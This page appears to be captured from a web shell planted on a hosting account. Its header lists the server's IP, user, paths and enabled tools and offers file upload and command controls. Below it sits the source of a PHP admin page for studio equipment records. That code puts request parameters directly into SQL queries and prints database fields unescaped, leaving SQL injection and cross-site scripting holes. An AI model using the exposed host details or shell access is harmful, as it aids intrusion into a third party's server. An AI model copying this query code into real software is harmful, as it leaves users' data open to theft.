Private
Server IP : 192.124.249.33  /  Your IP : 66.248.200.33
Web Server : Apache
System : Linux 141.134.66.148.host.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els6.x86_64 #1 SMP Fri Sep 13 13:42:20 UTC 2024 x86_64
User : tarangglobal ( 1001)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/tarangglobal/public_html/cyber/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/tarangglobal/public_html/cyber/admin/studio_equipment.php
<?php 
require_once('pdoconfig.php');
?>

<!DOCTYPE html>
<html>
<head>

	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
	<meta name="description" content="Materia - Admin Template">
	<meta name="keywords" content="materia, webapp, admin, dashboard, template, ui">
	<meta name="author" content="solutionportal">
	<!-- <base href="/"> -->

	<title>Studio Equipment</title>
	
	<link rel="stylesheet" href="fonts/ionicons/css/ionicons.min.css">
	<link rel="stylesheet" href="fonts/font-awesome/css/font-awesome.min.css">

	<!-- Plugins -->
	<link rel="stylesheet" href="styles/plugins/c3.css">
	<link rel="stylesheet" href="styles/plugins/waves.css">
	<link rel="stylesheet" href="styles/plugins/perfect-scrollbar.css">

	
	<!-- Css/Less Stylesheets -->
	<link rel="stylesheet" href="styles/bootstrap.min.css">
	<link rel="stylesheet" href="styles/main.min.css">

<link href='http://fonts.googleapis.com/css?family=Roboto:400,500,700,300' rel='stylesheet' type='text/css'>
<!-- Match Media polyfill for IE9 -->
<!--[if IE 9]> <script src="scripts/ie/matchMedia.js"></script>  <![endif]--> 

<style>
.form-control {
	border:1px solid#ddd;
}
.table-1 td{
	padding:5px;
	border:1px solid#ddd;
}
.active{
	background-color: rgb(58, 57, 57) !important;
}
.select-wrapper {
    background:url('upload/plus-icon.png') no-repeat;
    background-size: 31px 30px;
    background-position: center center;
    display: block;
    position: relative;
    width: 100%;
    height: 80px;
    border: 1px dashed#ddd;
    position: relative;
        z-index: 99;
}
#file {
  width: 100%;
  height:80px;
  opacity: 0;
  filter: alpha(opacity=0); /* IE 5-7 */
}
</style>
	

</head>
<body id="app" class="app off-canvas">
	<!-- #Start header -->
	<?php include('_header.php');?>

	<!-- #end header -->

	<!-- main-container -->
	
	
	<div class="main-container clearfix">
		<!-- main-navigation -->
		<?php include('_left-menu.php');?>
		<!-- #end main-navigation -->

		<!-- content-here -->
		<div class="content-container" id="content">
			<!-- dashboard page -->
			<div class="page page-dashboard">

				<div class="page-wrap">

					<div class="row">
						<!-- dashboard header -->
						<div class="col-md-12">
							<div class="dash-head clearfix mt30 mb20">
								<div class="left">
									<h4 class="mb5 text-light" style="font-weight:bold;">Studio Equipment</h4>
								</div>
								<div class="right mt10">
									<h5 class="text-bold mb0 mt5"><a href="studio_equipment.php?act=add">Add New Record</a></h5>
								</div>
							</div>
						</div>
					</div> <!-- #end row -->

					<!-- mini boxes -->
					<div class="row">
					<?php 
						$act=$_REQUEST['act'];
						$catid=$_REQUEST['catid'];
						
						if(isset($_REQUEST['catid']))
						{
							$catid=$_REQUEST['catid'];						
							
							$sqlu="select * from aa_studio_equipment where st_equip_id='$catid'";
							$res= $action->select($sqlu);

							foreach ($res as $id=>$row){
														
							$st_equip_id=htmlspecialchars($row['st_equip_id']);
							$name=htmlspecialchars($row['name']);
							$desig=htmlspecialchars($row['desig']);
							$detail_wppage_link=htmlspecialchars($row['detail_wppage_link']);
							$file=htmlspecialchars($row['image']);
							$fb_link=htmlspecialchars($row['fb_link']);
							$gplus_link=htmlspecialchars($row['gplus_link']);
							$twitter_link=htmlspecialchars($row['twitter_link']);
							$insta_link=htmlspecialchars($row['insta_link']);
							
							 $category_id=$row['category_id'];
							 $cat=explode(",",$category_id);
							
							//	var_dump($cat);								
							}
						 
						}
						?>
						<?php if($act=='add' || $act=='edit' || $act=='del'){?>
						<div class="col-md-12">
							<div class="col-md-6" style="margin:auto;float:none;">
						
						<form method="post" action="studio_equipment_act.php" enctype="multipart/form-data" name="myForm" onsubmit="return validateForm()">
						<input name="catid" type="hidden" value="<?=$catid?>"/>
						<input name="act" type="hidden" value="<?=$act?>"/>
						
							<div style="width:100%;float:left;background-color:#fff;padding:15px;">
								
								<div class="col-md-6" style="margin-bottom:5px;">
									<label>Name</label>
									<input type="text" class="form-control" placeholder="Course Name" name="name" value="<?=$name;?>"/>
								</div>
								
								<div class="col-md-6" style="margin-bottom:5px;">
									<label>Designation </label>
									<input type="text" class="form-control" placeholder="Designation" name="desig" value="<?=$desig;?>"/>
								</div>
								<div class="col-md-6" style="margin-bottom:5px;">
									<label>Detail Link </label>
									<input type="text" class="form-control" placeholder="Detal Link" name="detail_wppage_link" value="<?=$detail_wppage_link;?>"/>
								</div>
							
								<div class="col-md-6">
									<div class="col-sm-12" style="margin-top:0px;padding-left:0px;">
    									<label class="control-label">Upload File</label>
    									<div style="width:100%;float:left;position:relative;background:#dcf9ff;overflow:hidden;">
    										<span class="select-wrapper">
    											<input name="file"  id="file" type="file"  style="width:100%;">
    										</span>
    										<img src="upload/team_image/<?=$file;?>" style="height:100%;float: left;width: auto;position: absolute;top: 0;left: 80px;"  id="img"/>
    									</div>
    									<input type="hidden" id="file1">
									</div>
								</div>
								
	                            <div class="col-md-6" style="margin-bottom:5px;">
									<label>Facebook Link </label>
									<input type="text" class="form-control" placeholder="Detal Link" name="fb_link" id="lat" value="<?=$fb_link;?>"/>
								</div>
								<div class="col-md-6" style="margin-bottom:5px;">
									<label>Google Plus Link </label>
									<input type="text" class="form-control" placeholder="Detal Link" name="gplus_link" id="lat" value="<?=$gplus_link;?>"/>
								</div>
								<div class="col-md-6" style="margin-bottom:5px;">
									<label>Twitter Link </label>
									<input type="text" class="form-control" placeholder="Detal Link" name="twitter_link" id="lat" value="<?=$twitter_link;?>"/>
								</div>
								<div class="col-md-6" style="margin-bottom:5px;">
									<label>Instagram Link </label>
									<input type="text" class="form-control" placeholder="Detal Link" name="insta_link" id="lat" value="<?=$insta_link;?>"/>
								</div>
								<div style="display:none;">
								<div class="col-md-3" style="margin-bottom:5px;padding-top:10px;">
									<label><input type="checkbox" name="mentor_id" value="mentors" <?php foreach($cat as $a=>$b){ if($cat[$a]=='mentors') { echo "Checked";} } ?>  /> Mentors</label> 									
								</div>
								<div class="col-md-3" style="margin-bottom:5px;padding-top:10px;">
									<label><input type="checkbox" name="trainer_id" value="trainers" <?php foreach($cat as $a=>$b){ if($cat[$a]=='trainers') { echo "Checked";} } ?>  /> Trainers</label> 									
								</div>
								<div class="col-md-4" style="margin-bottom:5px;padding-top:10px;">
									<label><input type="checkbox" name="admins_id" value="administration" <?php foreach($cat as $a=>$b){ if($cat[$a]=='administration') { echo "Checked";} } ?> /> Administration</label> 									
								</div>
									</div>		
								<div class="col-md-12" style="text-align:center;margin-top:20px;">
									 <?php if($act=='add'){?>
										<button class="btn btn-primary mr5 waves-effect" type="submit" value="add" id="btn-add">Save</button>
									 <?php } 
									 else if($act=='edit')
									 { ?>
										<button class="btn btn-primary mr5 waves-effect" type="submit" value="edit" id="btn-add">Save</button>
									 <a href="studio_equipment_act.php?catid=<?=$catid;?>&amp;act=del" class="btn btn-primary mr5 waves-effect">Delete</a>
									 <?php } ?>
								</div>

							</div>
							</form>
							</div>
						</div>
						<?php } ?>
					</div> <!-- #end row -->


				
				


				
				<?php 
				 if(isset($_REQUEST['Submit1']))
				 {
				   $search=$_REQUEST['search'];						   
				   $cond=" and concat(aa_studio_equipment.name,desig,category_id) like '%$search%'"; 
				 }
				?>

					<!-- row -->
					<div class="row">
						<div class="col-md-12">
							<div style="width:100%;float:left;margin-top:20px;padding:15px;background-color:#fff;">
								<h4 class="mb5 text-light" style="font-weight:bold;margin:0px;width:auto;float:left;">List of Studio Equipment</h4>
								
								<table style="width:auto;float:right;margin-right:0px;margin-bottom:10px;">
									<tr><form method="post"><td style="padding-right:5px;"><input name="search" type="text" class="form-control" value="<?=$search;?>"/></td><td><button name="Submit1" type="submit" value="submit" class="btn btn-primary mr5 waves-effect waves-effect">Search</button></td></form></tr>
								</table>
								<table style="width:100%;float:left;" class="table-1"> 
									<tr style="background:#f2f2f2;">
										<td style="width:50px;">#</td>
										<td>Image</td>
										<td>Name</td>
										<td>Designation</td>
										<td>Detail Link</td>
										<td style="display:none;">Category</td>
										<td>Social Link</td>
										<td style="width:100px;">Action</td>
									</tr>
									<?php
									$num_rec_per_page=15;
									if (isset($_GET["page"])) { $page  = $_GET["page"]; } else { $page=1; }; 
									$i=1+$start_from = ($page-1) * $num_rec_per_page;
									
									$sql="select * from aa_studio_equipment where 1=1  ".$cond." order by st_equip_id desc LIMIT $start_from, $num_rec_per_page";
									$res= $action->select($sql);
									foreach ($res as $id=>$row){
									$a=$row['active'];
									
									?>
									<tr>
										<td><?=$i++;?></td>
										<td><img src="upload/team_image/<?=$row['image'];?>" style="width:100px;"/></td>
										<td><?=$row['name'];?></td>
										<td><?=$row['desig'];?></td>
										<td><?=$row['detail_wppage_link'];?></td>
										<td style="display:none;"><?=$row['category_id'];?></td>
										<td><?=$row['fb_link'];?><br/><?=$row['gplus_link'];?><br/><?=$row['twitter_link'];?><br/><?=$row['insta_link'];?></td>
										<td><a href="studio_equipment.php?catid=<?=$row['st_equip_id']?>&amp;act=edit" class="link btn-primary" style="padding:5px;border-radius:2px">Update</a></td>
									</tr>
									<?php }?>
								</table>
								
<div style="width:100%;float:left;text-align:center;background:#fff;padding: 10px;">				
<div style="width:100%;float:left;">
<?php 
$params = $_SERVER['QUERY_STRING'];
$params=str_replace("page=","",$params);
$p=substr($params,0,strpos($params,"&"));

$sql="select * from aa_studio_equipment where 1=1 ".$cond;
 
//echo $sql;
$res= $action->select($sql); //run the query
$total_records =count($res);  //count number of records
//echo $total_records;
$total_pages = ceil($total_records / $num_rec_per_page); 
	echo "<a style='background-color: rgb(255, 45, 0);color:#fff;padding: 1px 4px;' href='studio_equipment.php?page=1&$params'>".'First'."</a> "; // Goto 1st page  
for ($i=1; $i<=$total_pages; $i++) 
{ 
$a="";
if($p==$i){ $a="active"; }
	echo "<a class='$a' style='background-color: rgb(255, 45, 0);color:#fff;padding: 1px 4px;' href='studio_equipment.php?page=".$i."&".$params."'>".$i."</a> "; 
}; 
echo "<a style='background-color: rgb(255, 45, 0);color:#fff;padding: 1px 4px;' href='studio_equipment.php?page=$total_pages&$params'>".'Last'."</a> "; // Goto last page
?>
</div>
</div>
								
							</div>
						</div>
					</div>
					 <!-- #end row -->

					
				</div> <!-- #end page-wrap -->
			</div>
			<!-- #end dashboard page -->
		</div>
	</div>
	

	<!-- theme settings -->
	<div class="site-settings clearfix hidden-xs">
		<div class="settings clearfix">
			<div class="trigger ion ion-settings left"></div>
			<div class="wrapper left">
				<ul class="list-unstyled other-settings">
					<li class="clearfix mb10">
						<div class="left small">av Horizontal</div>
						<div class="md-switch right">
							<label>
								<input type="checkbox" id="navHorizontal"> 
								<span>&nbsp;</span> 
							</label>
						</div>
						
						
					</li>
					<li class="clearfix mb10">
						<div class="left small">Fixed Header</div>
						<div class="md-switch right">
							<label>
								<input type="checkbox"  id="fixedHeader"> 
								<span>&nbsp;</span> 
							</label>
						</div>
					</li>
					<li class="clearfix mb10">
						<div class="left small">av Full</div>
						<div class="md-switch right">
							<label>
								<input type="checkbox"  id="navFull"> 
								<span>&nbsp;</span> 
							</label>
						</div>
					</li>
				</ul>
				<hr/>
				<ul class="themes list-unstyled" id="themeColor">
					<li data-theme="theme-zero" class="active"></li>
					<li data-theme="theme-one"></li>
					<li data-theme="theme-two"></li>
					<li data-theme="theme-three"></li>
					<li data-theme="theme-four"></li>
					<li data-theme="theme-five"></li>
					<li data-theme="theme-six"></li>
					<li data-theme="theme-seven"></li>
				</ul>
			</div>
		</div>
	</div>
	<!-- #end theme settings -->




	<!-- Dev only -->
	<!-- Vendors -->
	<script src="scripts/vendors.js"></script>
	<script src="scripts/plugins/d3.min.js"></script>
	<script src="scripts/plugins/c3.min.js"></script>
	<script src="scripts/plugins/screenfull.js"></script>
	<script src="scripts/plugins/perfect-scrollbar.min.js"></script>
	<script src="scripts/plugins/waves.min.js"></script>
	<script src="scripts/plugins/jquery.sparkline.min.js"></script>
	<script src="scripts/plugins/jquery.easypiechart.min.js"></script>
	<script src="scripts/plugins/bootstrap-rating.min.js"></script>
	<script src="scripts/app.js"></script>
	<script src="scripts/index.init.js"></script>
	
<script>
    function readURL(input) {
       if (input.files && input.files[0]) {
           var reader = new FileReader();
           
           reader.onload = function (e) {
               $('#img').attr('src', e.target.result);
           }
           
           reader.readAsDataURL(input.files[0]);
       }
    }
       
    $("#file").change(function(){
       readURL(this);
    });
</script>	
<script>
// Function to preview image after validation
$(function() {
	$("#file").change(function() {
		
		$("#message").empty(); // To remove the previous error message
		var file = this.files[0];
		var imagefile = file.type;
		var match= ["image/jpeg","image/png","image/jpg"];
		if(!((imagefile==match[0]) || (imagefile==match[1]) || (imagefile==match[2])))
		{
		$('#previewing').attr('src','images/NoImage.gif');
		$("#message").html("<p id='error'>Please Select A valid Image File</p>"+"<h4>Note</h4>"+"<span id='error_message'>Only jpeg, jpg and png Images type allowed</span>");
		return false;
		}
		else
		{
		var reader = new FileReader();
		reader.onload = imageIsLoaded;
		reader.readAsDataURL(this.files[0]);
		}
		//alert('hello');
	});
	function imageIsLoaded(e) {
		$("#file").css("color","green");
		$('#image_preview').css("display", "block");
		$("#file").val(e.target.result);
		$('#previewing').attr('src', e.target.result);
		$('#previewing').attr('width', '1200px');
		$('#previewing').attr('height', '1200px');
	};
});
</script>	
</body>
</html>



Private